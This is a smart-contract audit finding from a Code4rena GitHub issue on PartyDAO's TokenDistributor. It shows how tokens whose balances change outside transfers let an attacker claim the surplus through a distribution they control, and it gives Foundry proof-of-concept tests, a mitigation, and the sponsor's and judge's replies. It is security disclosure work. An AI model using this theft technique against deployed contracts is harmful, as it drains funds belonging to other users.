code423n4 commented 1 year ago

Lines of code

https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/distribution/TokenDistributor.sol#L341-L342

Vulnerability details

Impact

There are weird erc20 tokens out there that can modify their balanceOf(distributor) outside of transfers. More information here.

Because distributions in TokenDistributior are allowed for arbitrary, user-provided erc20, we should assume that sooner or later someone will create a distribution with such a weird erc20 token.

If a token increases its balanceOf(distributor) outside of transfers, then this additional amount of tokens can be stolen by anyone.

If a token decreases its balanceOf(distributor) outside of transfers, then at least some users will receive less than their fair share from distributions of this token.

Proof of Concept

Add this test cases to TokenDistributorUnit.t.sol file:


    function testStealAdditionalBalance() external {
        uint256 initialSupply = 2 ether;
        uint256 additionalSupply = 0.5 ether;

        // an honest party creates a distribution of an inflationary erc20
        weirdErc20.deal(address(distributor), initialSupply);
        vm.prank(address(party));
        distributor.createErc20Distribution(weirdErc20, party, payable(0), 0);

        // balance of distributor increases outside of transfers
        weirdErc20.deal(address(distributor), additionalSupply);

        // this additional balance should be distributed proportionally to shares to members of party 
        // which transferred initial supply of tokens
        // However...
        // attacker creates new distribution with a party he fully controls
        TestParty party2 = new TestParty();
        party2.mintShare(attacker, 1, 1e18);

        // he creates a distribution of the inflationary erc20 without contributing any tokens
        vm.prank(address(party2));
        (ITokenDistributor.DistributionInfo memory di) = 
            distributor.createErc20Distribution(weirdErc20, party2, payable(0), 0);

        // and claims the inflated balance of this token 
        vm.prank(attacker);
        distributor.claim(di, 1);
        assertEq(weirdErc20.balanceOf(attacker), additionalSupply);
    }

    function testDecreaseBalanceOutsideTransfers() external {
        uint256 initialSupply = 2 ether;
        uint256 burnedSupply = 0.5 ether;
        uint256 supplySecondDistribution = 0.6 ether;

        // an honest party creates a distribution of an deflationary erc20
        weirdErc20.deal(address(distributor), initialSupply);
        vm.prank(address(party));
        distributor.createErc20Distribution(weirdErc20, party, payable(0), 0);

        // balance of distributor decreases outside of transfers
        weirdErc20.burn(address(distributor), burnedSupply);

        // another honest party tries to create distribution of the same token but...
        weirdErc20.deal(address(distributor), supplySecondDistribution);
        _expectEmit1();
        emit DistributionCreated(
            party,
            ITokenDistributor.DistributionInfo({
                distributionId: 2,
                party: party,
                tokenType: ITokenDistributor.TokenType.Erc20,
                token: address(weirdErc20),
                // member supply is much lower than supply provided for this distribution 
                // (0.1 member supply with 0.6 provided for distribution in this case)
                memberSupply: uint128(supplySecondDistribution - burnedSupply),
                fee: 0,
                feeRecipient: payable(0)
            })
        );
        vm.prank(address(party));
        distributor.createErc20Distribution(
            weirdErc20,
            party,
            payable(0),
            0
        );
    }

it’s worth noting that if supplySecondDistribution < burnedSupply then createErc20Distribution will revert because of underflow in this line of code.

Also if balanceOf(distributor) decreases outside of transfers, then this balance might become smaller than DistributionInfo.memberSupply and the distributor contract becomes insolvent. In such case, users last to claim their shares will receive smaller or even zero shares because of this line of code.

Tools Used

Foundry

Recommended Mitigation Steps

It’s probably impossible to prevent weird tokens from being sent to GovernanceParty contracts. However, it might be a good idea to create a whitelist of supported tokens for TokenDistributor.

If such a whitelist is added, make sure that weird erc20 sent to party contracts are not stuck and can still be recovered e.g. by creating a proposal with arbitrary calls.

merklejerk commented 1 year ago

We can enforce whitelists in the FE. Parties will be educated against creating distributions for tokens with weird balance mechanics.

HardlyDifficult commented 1 year ago

Agree this may be better addressed on the frontend. These tokens would cause issues with many protocols like this. I believe this is low risk. Converting this into a QA report for the warden.